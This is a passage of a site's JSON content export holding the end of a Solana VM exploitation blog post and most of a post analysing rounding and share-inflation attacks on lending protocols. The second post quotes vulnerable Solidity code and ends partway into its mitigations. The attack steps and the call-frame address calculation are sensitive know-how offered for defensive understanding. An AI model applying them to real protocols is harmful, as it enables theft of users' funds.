process]\n",{"type":23,"tag":230,"props":47463,"children":47464},{"class":232,"line":514},[47465],{"type":23,"tag":230,"props":47466,"children":47467},{},[47468],{"type":29,"value":47469},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":230,"props":47471,"children":47472},{"class":232,"line":897},[47473],{"type":23,"tag":230,"props":47474,"children":47475},{},[47476],{"type":29,"value":47477},"    N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":32,"props":47479,"children":47480},{},[47481,47483,47489],{"type":29,"value":47482},"Small note: ",{"type":23,"tag":71,"props":47484,"children":47486},{"className":47485},[],[47487],{"type":29,"value":47488},"target_r10",{"type":29,"value":47490}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":220,"props":47492,"children":47494},{"className":5320,"code":47493,"language":5319,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[47495],{"type":23,"tag":71,"props":47496,"children":47497},{"__ignoreMap":7},[47498,47543,47578,47585],{"type":23,"tag":230,"props":47499,"children":47500},{"class":232,"line":233},[47501,47505,47510,47514,47519,47523,47527,47531,47535,47539],{"type":23,"tag":230,"props":47502,"children":47503},{"style":256},[47504],{"type":29,"value":22581},{"type":23,"tag":230,"props":47506,"children":47507},{"style":294},[47508],{"type":29,"value":47509}," call_frame_addr",{"type":23,"tag":230,"props":47511,"children":47512},{"style":274},[47513],{"type":29,"value":302},{"type":23,"tag":230,"props":47515,"children":47516},{"style":262},[47517],{"type":29,"value":47518},"depth",{"type":23,"tag":230,"props":47520,"children":47521},{"style":268},[47522],{"type":29,"value":218},{"type":23,"tag":230,"props":47524,"children":47525},{"style":676},[47526],{"type":29,"value":8197},{"type":23,"tag":230,"props":47528,"children":47529},{"style":274},[47530],{"type":29,"value":703},{"type":23,"tag":230,"props":47532,"children":47533},{"style":268},[47534],{"type":29,"value":16084},{"type":23,"tag":230,"props":47536,"children":47537},{"style":676},[47538],{"type":29,"value":8197},{"type":23,"tag":230,"props":47540,"children":47541},{"style":274},[47542],{"type":29,"value":277},{"type":23,"tag":230,"props":47544,"children":47545},{"class":232,"line":243},[47546,47551,47555,47560,47564,47569,47573],{"type":23,"tag":230,"props":47547,"children":47548},{"style":5149},[47549],{"type":29,"value":47550},"    0x200000000",{"type":23,"tag":230,"props":47552,"children":47553},{"style":268},[47554],{"type":29,"value":11238},{"type":23,"tag":230,"props":47556,"children":47557},{"style":5149},[47558],{"type":29,"value":47559}," 0x2000",{"type":23,"tag":230,"props":47561,"children":47562},{"style":268},[47563],{"type":29,"value":12147},{"type":23,"tag":230,"props":47565,"children":47566},{"style":262},[47567],{"type":29,"value":47568}," depth",{"type":23,"tag":230,"props":47570,"children":47571},{"style":268},[47572],{"type":29,"value":11238},{"type":23,"tag":230,"props":47574,"children":47575},{"style":5149},[47576],{"type":29,"value":47577}," 0x1000\n",{"type":23,"tag":230,"props":47579,"children":47580},{"class":232,"line":252},[47581],{"type":23,"tag":230,"props":47582,"children":47583},{"style":274},[47584],{"type":29,"value":975},{"type":23,"tag":230,"props":47586,"children":47587},{"class":232,"line":280},[47588],{"type":23,"tag":230,"props":47589,"children":47590},{"style":237},[47591],{"type":29,"value":47592},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":24,"props":47594,"children":47595},{"id":5163},[47596],{"type":29,"value":5166},{"type":23,"tag":32,"props":47598,"children":47599},{},[47600,47602,47609],{"type":29,"value":47601},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":181,"props":47603,"children":47606},{"href":47604,"rel":47605},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[185],[47607],{"type":29,"value":47608},"they do exist",{"type":29,"value":312},{"type":23,"tag":32,"props":47611,"children":47612},{},[47613],{"type":29,"value":47614},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":32,"props":47616,"children":47617},{},[47618,47620,47625],{"type":29,"value":47619},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":23,"tag":2258,"props":47621,"children":47622},{},[47623],{"type":29,"value":47624},"entire",{"type":29,"value":47626}," runtime.",{"type":23,"tag":5178,"props":47628,"children":47629},{},[47630],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":47632},[47633,47637,47638,47641],{"id":26,"depth":243,"text":30,"children":47634},[47635,47636],{"id":42307,"depth":252,"text":42310},{"id":43626,"depth":252,"text":43629},{"id":44865,"depth":243,"text":44868},{"id":45701,"depth":243,"text":45704,"children":47639},[47640],{"id":45815,"depth":252,"text":45818},{"id":5163,"depth":243,"text":5166},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":47646,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":47647,"description":47648,"author":47649,"image":47650,"date":47652,"isFeatured":18,"onBlogPage":18,"body":47653,"_type":5202,"_id":48799,"_source":5204,"_file":48800,"_stem":48801,"_extension":5207},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[8056],{"src":47651},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":47654,"toc":48788},[47655,47659,47687,47692,47705,47710,47716,47721,47726,47731,47736,47749,47761,47781,47801,47806,47811,47829,47835,47840,47846,47860,47873,47878,47884,47898,47903,47925,48158,48163,48168,48181,48421,48431,48436,48442,48447,48452,48485,48490,48501,48507,48512,48526,48654,48668,48744,48749,48760,48765,48770,48774,48779,48784],{"type":23,"tag":24,"props":47656,"children":47657},{"id":31322},[47658],{"type":29,"value":31325},{"type":23,"tag":32,"props":47660,"children":47661},{},[47662,47664,47671,47672,47679,47681,47686],{"type":29,"value":47663},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":181,"props":47665,"children":47668},{"href":47666,"rel":47667},"https://neodyme.io/de/blog/lending_disclosure",[185],[47669],{"type":29,"value":47670},"fast",{"type":29,"value":684},{"type":23,"tag":181,"props":47673,"children":47676},{"href":47674,"rel":47675},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[185],[47677],{"type":29,"value":47678},"cheap",{"type":29,"value":47680}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":2258,"props":47682,"children":47683},{},[47684],{"type":29,"value":47685},"Most people haven't considered what happens when shares are worth a lot",{"type":29,"value":312},{"type":23,"tag":32,"props":47688,"children":47689},{},[47690],{"type":29,"value":47691},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":144,"props":47693,"children":47694},{},[47695,47700],{"type":23,"tag":102,"props":47696,"children":47697},{},[47698],{"type":29,"value":47699},"Inflate share value (token to share conversion rate)",{"type":23,"tag":102,"props":47701,"children":47702},{},[47703],{"type":29,"value":47704},"Exploit rounding bug",{"type":23,"tag":32,"props":47706,"children":47707},{},[47708],{"type":29,"value":47709},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":24,"props":47711,"children":47713},{"id":47712},"model",[47714],{"type":29,"value":47715},"Model",{"type":23,"tag":32,"props":47717,"children":47718},{},[47719],{"type":29,"value":47720},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":32,"props":47722,"children":47723},{},[47724],{"type":29,"value":47725},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":32,"props":47727,"children":47728},{},[47729],{"type":29,"value":47730},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":32,"props":47732,"children":47733},{},[47734],{"type":29,"value":47735},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":32,"props":47737,"children":47738},{},[47739,47741,47747],{"type":29,"value":47740},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":71,"props":47742,"children":47744},{"className":47743},[],[47745],{"type":29,"value":47746},"1000:1000",{"type":29,"value":47748}," (1000 tokens to 1000 shares).",{"type":23,"tag":32,"props":47750,"children":47751},{},[47752,47754,47760],{"type":29,"value":47753},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":71,"props":47755,"children":47757},{"className":47756},[],[47758],{"type":29,"value":47759},"1001:1000",{"type":29,"value":312},{"type":23,"tag":32,"props":47762,"children":47763},{},[47764,47766,47772,47774,47779],{"type":29,"value":47765},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":71,"props":47767,"children":47769},{"className":47768},[],[47770],{"type":29,"value":47771},"1001/1000*999 = 999.999",{"type":29,"value":47773},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":23,"tag":2258,"props":47775,"children":47776},{},[47777],{"type":29,"value":47778},"down",{"type":29,"value":47780}," against the user.",{"type":23,"tag":32,"props":47782,"children":47783},{},[47784,47786,47792,47794,47800],{"type":29,"value":47785},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":71,"props":47787,"children":47789},{"className":47788},[],[47790],{"type":29,"value":47791},"2:1",{"type":29,"value":47793},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":71,"props":47795,"children":47797},{"className":47796},[],[47798],{"type":29,"value":47799},"3:1",{"type":29,"value":312},{"type":23,"tag":32,"props":47802,"children":47803},{},[47804],{"type":29,"value":47805},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":32,"props":47807,"children":47808},{},[47809],{"type":29,"value":47810},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":144,"props":47812,"children":47813},{},[47814,47819,47824],{"type":23,"tag":102,"props":47815,"children":47816},{},[47817],{"type":29,"value":47818},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":102,"props":47820,"children":47821},{},[47822],{"type":29,"value":47823},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":102,"props":47825,"children":47826},{},[47827],{"type":29,"value":47828},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":24,"props":47830,"children":47832},{"id":47831},"decisions",[47833],{"type":29,"value":47834},"Decisions",{"type":23,"tag":32,"props":47836,"children":47837},{},[47838],{"type":29,"value":47839},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":59,"props":47841,"children":47843},{"id":47842},"radiant-capital",[47844],{"type":29,"value":47845},"Radiant Capital",{"type":23,"tag":32,"props":47847,"children":47848},{},[47849,47851,47858],{"type":29,"value":47850},"Radiant Capital was ",{"type":23,"tag":181,"props":47852,"children":47855},{"href":47853,"rel":47854},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[185],[47856],{"type":29,"value":47857},"hacked on Jan 2nd",{"type":29,"value":47859}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":32,"props":47861,"children":47862},{},[47863,47865,47872],{"type":29,"value":47864},"The exploit is relatively straightforward and ",{"type":23,"tag":181,"props":47866,"children":47869},{"href":47867,"rel":47868},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[185],[47870],{"type":29,"value":47871},"has already been covered previously",{"type":29,"value":312},{"type":23,"tag":32,"props":47874,"children":47875},{},[47876],{"type":29,"value":47877},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":59,"props":47879,"children":47881},{"id":47880},"wise-lending",[47882],{"type":29,"value":47883},"Wise Lending",{"type":23,"tag":32,"props":47885,"children":47886},{},[47887,47889,47896],{"type":29,"value":47888},"Wise Lending was ",{"type":23,"tag":181,"props":47890,"children":47893},{"href":47891,"rel":47892},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[185],[47894],{"type":29,"value":47895},"hacked on January 13th",{"type":29,"value":47897}," for just under $460,000.",{"type":23,"tag":32,"props":47899,"children":47900},{},[47901],{"type":29,"value":47902},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":32,"props":47904,"children":47905},{},[47906,47908,47915,47917,47924],{"type":29,"value":47907},"This is ",{"type":23,"tag":181,"props":47909,"children":47912},{"href":47910,"rel":47911},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[185],[47913],{"type":29,"value":47914},"the code responsible",{"type":29,"value":47916}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":181,"props":47918,"children":47921},{"href":47919,"rel":47920},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[185],[47922],{"type":29,"value":47923},"no way to atomically self-bankrupt",{"type":29,"value":312},{"type":23,"tag":220,"props":47926,"children":47928},{"className":6813,"code":47927,"language":6812,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[47929],{"type":23,"tag":71,"props":47930,"children":47931},{"__ignoreMap":7},[47932,47963,47971,47979,47986,48008,48021,48028,48049,48079,48091,48103,48110,48134,48151],{"type":23,"tag":230,"props":47933,"children":47934},{"class":232,"line":233},[47935,47940,47945,47949,47954,47959],{"type":23,"tag":230,"props":47936,"children":47937},{"style":676},[47938],{"type":29,"value":47939},"uint256",{"type":23,"tag":230,"props":47941,"children":47942},{"style":274},[47943],{"type":29,"value":47944}," withdrawValue ",{"type":23,"tag":230,"props":47946,"children":47947},{"style":268},[47948],{"type":29,"value":863},{"type":23,"tag":230,"props":47950,"children":47951},{"style":274},[47952],{"type":29,"value":47953}," WISE_ORACLE.",{"type":23,"tag":230,"props":47955,"children":47956},{"style":294},[47957],{"type":29,"value":47958},"getTokensInETH",{"type":23,"tag":230,"props":47960,"children":47961},{"style":274},[47962],{"type":29,"value":619},{"type":23,"tag":230,"props":47964,"children":47965},{"class":232,"line":243},[47966],{"type":23,"tag":230,"props":47967,"children":47968},{"style":274},[47969],{"type":29,"value":47970},"    _poolToken,\n",{"type":23,"tag":230,"props":47972,"children":47973},{"class":232,"line":252},[47974],{"type":23,"tag":230,"props":47975,"children":47976},{"style":274},[47977],{"type":29,"value":47978},"    _amount\n",{"type":23,"tag":230,"props":47980,"children":47981},{"class":232,"line":280},[47982],{"type":23,"tag":230,"props":47983,"children":47984},{"style":274},[47985],{"type":29,"value":4516},{"type":23,"tag":230,"props":47987,"children":47988},{"class":232,"line":334},[47989,47993,47998,48003],{"type":23,"tag":230,"props":47990,"children":47991},{"style":268},[47992],{"type":29,"value":19882},{"type":23,"tag":230,"props":47994,"children":47995},{"style":274},[47996],{"type":29,"value":47997}," WISE_LENDING.",{"type":23,"tag":230,"props":47999,"children":48000},{"style":294},[48001],{"type":29,"value":48002},"lendingPoolData",{"type":23,"tag":230,"props":48004,"children":48005},{"style":274},[48006],{"type":29,"value":48007},"(_poolToken).collateralFactor\n",{"type":23,"tag":230,"props":48009,"children":48010},{"class":232,"line":371},[48011,48016],{"type":23,"tag":230,"props":48012,"children":48013},{"style":268},[48014],{"type":29,"value":48015},"    /",{"type":23,"tag":230,"props":48017,"children":48018},{"style":274},[48019],{"type":29,"value":48020}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":230,"props":48022,"children":48023},{"class":232,"line":391},[48024],{"type":23,"tag":230,"props":48025,"children":48026},{"emptyLinePlaceholder":18},[48027],{"type":29,"value":459},{"type":23,"tag":230,"props":48029,"children":48030},{"class":232,"line":400},[48031,48035,48040,48044],{"type":23,"tag":230,"props":48032,"children":48033},{"style":676},[48034],{"type":29,"value":31992},{"type":23,"tag":230,"props":48036,"children":48037},{"style":274},[48038],{"type":29,"value":48039}," state ",{"type":23,"tag":230,"props":48041,"children":48042},{"style":268},[48043],{"type":29,"value":863},{"type":23,"tag":230,"props":48045,"children":48046},{"style":274},[48047],{"type":29,"value":48048}," borrowPercentageCap\n",{"type":23,"tag":230,"props":48050,"children":48051},{"class":232,"line":444},[48052,48056,48060,48065,48070,48074],{"type":23,"tag":230,"props":48053,"children":48054},{"style":268},[48055],{"type":29,"value":19882},{"type":23,"tag":230,"props":48057,"children":48058},{"style":274},[48059],{"type":29,"value":664},{"type":23,"tag":230,"props":48061,"children":48062},{"style":294},[48063],{"type":29,"value":48064},"overallETHCollateralsWeighted",{"type":23,"tag":230,"props":48066,"children":48067},{"style":274},[48068],{"type":29,"value":48069},"(_nftId) ",{"type":23,"tag":230,"props":48071,"children":48072},{"style":268},[48073],{"type":29,"value":6665},{"type":23,"tag":230,"props":48075,"children":48076},{"style":274},[48077],{"type":29,"value":48078}," withdrawValue)\n",{"type":23,"tag":230,"props":48080,"children":48081},{"class":232,"line":453},[48082,48086],{"type":23,"tag":230,"props":48083,"children":48084},{"style":268},[48085],{"type":29,"value":48015},{"type":23,"tag":230,"props":48087,"children":48088},{"style":274},[48089],{"type":29,"value":48090}," PRECISION_FACTOR_E18\n",{"type":23,"tag":230,"props":48092,"children":48093},{"class":232,"line":462},[48094,48098],{"type":23,"tag":230,"props":48095,"children":48096},{"style":268},[48097],{"type":29,"value":34738},{"type":23,"tag":230,"props":48099,"children":48100},{"style":274},[48101],{"type":29,"value":48102}," borrowAmount;\n",{"type":23,"tag":230,"props":48104,"children":48105},{"class":232,"line":471},[48106],{"type":23,"tag":230,"props":48107,"children":48108},{"emptyLinePlaceholder":18},[48109],{"type":29,"value":459},{"type":23,"tag":230,"props":48111,"children":48112},{"class":232,"line":500},[48113,48117,48122,48126,48130],{"type":23,"tag":230,"props":48114,"children":48115},{"style":866},[48116],{"type":29,"value":17904},{"type":23,"tag":230,"props":48118,"children":48119},{"style":274},[48120],{"type":29,"value":48121}," (state ",{"type":23,"tag":230,"props":48123,"children":48124},{"style":268},[48125],{"type":29,"value":10911},{"type":23,"tag":230,"props":48127,"children":48128},{"style":256},[48129],{"type":29,"value":14799},{"type":23,"tag":230,"props":48131,"children":48132},{"style":274},[48133],{"type":29,"value":827},{"type":23,"tag":230,"props":48135,"children":48136},{"class":232,"line":514},[48137,48142,48147],{"type":23,"tag":230,"props":48138,"children":48139},{"style":866},[48140],{"type":29,"value":48141},"    revert",{"type":23,"tag":230,"props":48143,"children":48144},{"style":294},[48145],{"type":29,"value":48146}," ResultsInBadDebt",{"type":23,"tag":230,"props":48148,"children":48149},{"style":274},[48150],{"type":29,"value":2140},{"type":23,"tag":230,"props":48152,"children":48153},{"class":232,"line":897},[48154],{"type":23,"tag":230,"props":48155,"children":48156},{"style":274},[48157],{"type":29,"value":975},{"type":23,"tag":32,"props":48159,"children":48160},{},[48161],{"type":29,"value":48162},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":32,"props":48164,"children":48165},{},[48166],{"type":29,"value":48167},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":32,"props":48169,"children":48170},{},[48171,48173,48179],{"type":29,"value":48172},"And indeed, ",{"type":23,"tag":181,"props":48174,"children":48177},{"href":48175,"rel":48176},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[185],[48178],{"type":29,"value":47883},{"type":29,"value":48180}," rounds up the share value.",{"type":23,"tag":220,"props":48182,"children":48184},{"className":6813,"code":48183,"language":6812,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[48185],{"type":23,"tag":71,"props":48186,"children":48187},{"__ignoreMap":7},[48188,48204,48221,48237,48250,48257,48265,48273,48293,48300,48321,48342,48364,48393,48414],{"type":23,"tag":230,"props":48189,"children":48190},{"class":232,"line":233},[48191,48195,48200],{"type":23,"tag":230,"props":48192,"children":48193},{"style":256},[48194],{"type":29,"value":3381},{"type":23,"tag":230,"props":48196,"children":48197},{"style":294},[48198],{"type":29,"value":48199}," _calculateShares",{"type":23,"tag":230,"props":48201,"children":48202},{"style":274},[48203],{"type":29,"value":619},{"type":23,"tag":230,"props":48205,"children":48206},{"class":232,"line":243},[48207,48212,48217],{"type":23,"tag":230,"props":48208,"children":48209},{"style":676},[48210],{"type":29,"value":48211},"    uint256",{"type":23,"tag":230,"props":48213,"children":48214},{"style":262},[48215],{"type":29,"value":48216}," _product",{"type":23,"tag":230,"props":48218,"children":48219},{"style":274},[48220],{"type":29,"value":388},{"type":23,"tag":230,"props":48222,"children":48223},{"class":232,"line":252},[48224,48228,48233],{"type":23,"tag":230,"props":48225,"children":48226},{"style":676},[48227],{"type":29,"value":48211},{"type":23,"tag":230,"props":48229,"children":48230},{"style":262},[48231],{"type":29,"value":48232}," _pseudo",{"type":23,"tag":230,"props":48234,"children":48235},{"style":274},[48236],{"type":29,"value":388},{"type":23,"tag":230,"props":48238,"children":48239},{"class":232,"line":280},[48240,48245],{"type":23,"tag":230,"props":48241,"children":48242},{"style":676},[48243],{"type":29,"value":48244},"    bool",{"type":23,"tag":230,"props":48246,"children":48247},{"style":262},[48248],{"type":29,"value":48249}," _maxSharePrice\n",{"type":23,"tag":230,"props":48251,"children":48252},{"class":232,"line":334},[48253],{"type":23,"tag":230,"props":48254,"children":48255},{"style":274},[48256],{"type":29,"value":4516},{"type":23,"tag":230,"props":48258,"children":48259},{"class":232,"line":371},[48260],{"type":23,"tag":230,"props":48261,"children":48262},{"style":256},[48263],{"type":29,"value":48264},"    private\n",{"type":23,"tag":230,"props":48266,"children":48267},{"class":232,"line":391},[48268],{"type":23,"tag":230,"props":48269,"children":48270},{"style":256},[48271],{"type":29,"value":48272},"    pure\n",{"type":23,"tag":230,"props":48274,"children":48275},{"class":232,"line":400},[48276,48281,48285,48289],{"type":23,"tag":230,"props":48277,"children":48278},{"style":866},[48279],{"type":29,"value":48280},"    returns",{"type":23,"tag":230,"props":48282,"children":48283},{"style":274},[48284],{"type":29,"value":664},{"type":23,"tag":230,"props":48286,"children":48287},{"style":676},[48288],{"type":29,"value":47939},{"type":23,"tag":230,"props":48290,"children":48291},{"style":274},[48292],{"type":29,"value":4516},{"type":23,"tag":230,"props":48294,"children":48295},{"class":232,"line":444},[48296],{"type":23,"tag":230,"props":48297,"children":48298},{"style":274},[48299],{"type":29,"value":13211},{"type":23,"tag":230,"props":48301,"children":48302},{"class":232,"line":453},[48303,48307,48312,48316],{"type":23,"tag":230,"props":48304,"children":48305},{"style":866},[48306],{"type":29,"value":4427},{"type":23,"tag":230,"props":48308,"children":48309},{"style":274},[48310],{"type":29,"value":48311}," _maxSharePrice ",{"type":23,"tag":230,"props":48313,"children":48314},{"style":268},[48315],{"type":29,"value":10911},{"type":23,"tag":230,"props":48317,"children":48318},{"style":256},[48319],{"type":29,"value":48320}," true\n",{"type":23,"tag":230,"props":48322,"children":48323},{"class":232,"line":462},[48324,48329,48334,48338],{"type":23,"tag":230,"props":48325,"children":48326},{"style":268},[48327],{"type":29,"value":48328},"        ?",{"type":23,"tag":230,"props":48330,"children":48331},{"style":274},[48332],{"type":29,"value":48333}," _product % _pseudo ",{"type":23,"tag":230,"props":48335,"children":48336},{"style":268},[48337],{"type":29,"value":10911},{"type":23,"tag":230,"props":48339,"children":48340},{"style":5149},[48341],{"type":29,"value":26585},{"type":23,"tag":230,"props":48343,"children":48344},{"class":232,"line":471},[48345,48350,48355,48359],{"type":23,"tag":230,"props":48346,"children":48347},{"style":268},[48348],{"type":29,"value":48349},"            ?",{"type":23,"tag":230,"props":48351,"children":48352},{"style":274},[48353],{"type":29,"value":48354}," _product ",{"type":23,"tag":230,"props":48356,"children":48357},{"style":268},[48358],{"type":29,"value":6919},{"type":23,"tag":230,"props":48360,"children":48361},{"style":274},[48362],{"type":29,"value":48363}," _pseudo\n",{"type":23,"tag":230,"props":48365,"children":48366},{"class":232,"line":500},[48367,48372,48376,48380,48385,48389],{"type":23,"tag":230,"props":48368,"children":48369},{"style":268},[48370],{"type":29,"value":48371},"            :",{"type":23,"tag":230,"props":48373,"children":48374},{"style":274},[48375],{"type":29,"value":48354},{"type":23,"tag":230,"props":48377,"children":48378},{"style":268},[48379],{"type":29,"value":6919},{"type":23,"tag":230,"props":48381,"children":48382},{"style":274},[48383],{"type":29,"value":48384}," _pseudo ",{"type":23,"tag":230,"props":48386,"children":48387},{"style":268},[48388],{"type":29,"value":6719},{"type":23,"tag":230,"props":48390,"children":48391},{"style":5149},[48392],{"type":29,"value":21758},{"type":23,"tag":230,"props":48394,"children":48395},{"class":232,"line":514},[48396,48401,48405,48409],{"type":23,"tag":230,"props":48397,"children":48398},{"style":268},[48399],{"type":29,"value":48400},"        :",{"type":23,"tag":230,"props":48402,"children":48403},{"style":274},[48404],{"type":29,"value":48354},{"type":23,"tag":230,"props":48406,"children":48407},{"style":268},[48408],{"type":29,"value":6919},{"type":23,"tag":230,"props":48410,"children":48411},{"style":274},[48412],{"type":29,"value":48413}," _pseudo;\n",{"type":23,"tag":230,"props":48415,"children":48416},{"class":232,"line":897},[48417],{"type":23,"tag":230,"props":48418,"children":48419},{"style":274},[48420],{"type":29,"value":975},{"type":23,"tag":32,"props":48422,"children":48423},{},[48424,48429],{"type":23,"tag":2258,"props":48425,"children":48426},{},[48427],{"type":29,"value":48428},"Regardless of which way the share rounding occurs, this is a bug",{"type":29,"value":48430},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":32,"props":48432,"children":48433},{},[48434],{"type":29,"value":48435},"This is a really tricky invariant to reason about!",{"type":23,"tag":24,"props":48437,"children":48439},{"id":48438},"root-cause",[48440],{"type":29,"value":48441},"Root Cause",{"type":23,"tag":32,"props":48443,"children":48444},{},[48445],{"type":29,"value":48446},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":32,"props":48448,"children":48449},{},[48450],{"type":29,"value":48451},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":220,"props":48453,"children":48455},{"className":6813,"code":48454,"language":6812,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[48456],{"type":23,"tag":71,"props":48457,"children":48458},{"__ignoreMap":7},[48459],{"type":23,"tag":230,"props":48460,"children":48461},{"class":232,"line":233},[48462,48467,48471,48476,48480],{"type":23,"tag":230,"props":48463,"children":48464},{"style":274},[48465],{"type":29,"value":48466},"totalDepositShares ",{"type":23,"tag":230,"props":48468,"children":48469},{"style":268},[48470],{"type":29,"value":6909},{"type":23,"tag":230,"props":48472,"children":48473},{"style":274},[48474],{"type":29,"value":48475}," _amount ",{"type":23,"tag":230,"props":48477,"children":48478},{"style":268},[48479],{"type":29,"value":6919},{"type":23,"tag":230,"props":48481,"children":48482},{"style":274},[48483],{"type":29,"value":48484}," pseudoTotalPool\n",{"type":23,"tag":32,"props":48486,"children":48487},{},[48488],{"type":29,"value":48489},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":32,"props":48491,"children":48492},{},[48493,48495,48499],{"type":29,"value":48494},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":2258,"props":48496,"children":48497},{},[48498],{"type":29,"value":22231},{"type":29,"value":48500}," integer division?",{"type":23,"tag":24,"props":48502,"children":48504},{"id":48503},"mitigations",[48505],{"type":29,"value":48506},"Mitigations",{"type":23,"tag":32,"props":48508,"children":48509},{},[48510],{"type":29,"value":48511},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":32,"props":48513,"children":48514},{},[48515,48517,48524],{"type":29,"value":48516},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":181,"props":48518,"children":48521},{"href":48519,"rel":48520},"https://twitter.com/danielvf/status/1746306320553152615",[185],[48522],{"type":29,"value":48523},"@danielvf notes",{"type":29,"value":48525},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":220,"props":48527,"children":48529},{"className":6813,"code":48528,"language":6812,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = 